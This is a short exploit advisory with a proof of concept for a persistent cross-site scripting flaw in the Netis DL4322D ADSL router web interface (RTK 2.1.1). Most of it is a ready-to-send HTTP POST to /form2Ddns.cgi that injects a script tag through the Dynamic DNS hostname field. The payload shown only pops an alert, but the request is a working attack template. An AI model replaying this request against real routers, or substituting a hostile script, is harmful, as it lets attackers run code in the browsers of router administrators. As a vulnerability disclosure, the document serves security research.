Netis ADSL Router DL4322D RTK 2.1.1 Cross Site Scripting

`# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Scripting  
# Author: Cakes  
# Discovery Date: 2018-09-16  
# Vendor Homepage: http://www.netis-systems.com  
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html  
# Tested Version: RTK 2.1.1  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description:  
# Improper input validation on the router web interface allows attackers add a persistent   
# Cross-Site scripting attack on the Dynamic DNS hostname field. Simply intercept a renaming   
# request and add in the XSS  
  
# Poc  
  
POST /form2Ddns.cgi HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://Target/ddns.htm?v=1537192256000  
Cookie: SessionID=  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 119  
  
ddnsProv=0&hostname=<script>alert("Cakes");</script>&interface=15&enable=on&username=tester&password=tester&addacc=Add&submit.htm%3Fddns.htm=Send  
  
  
`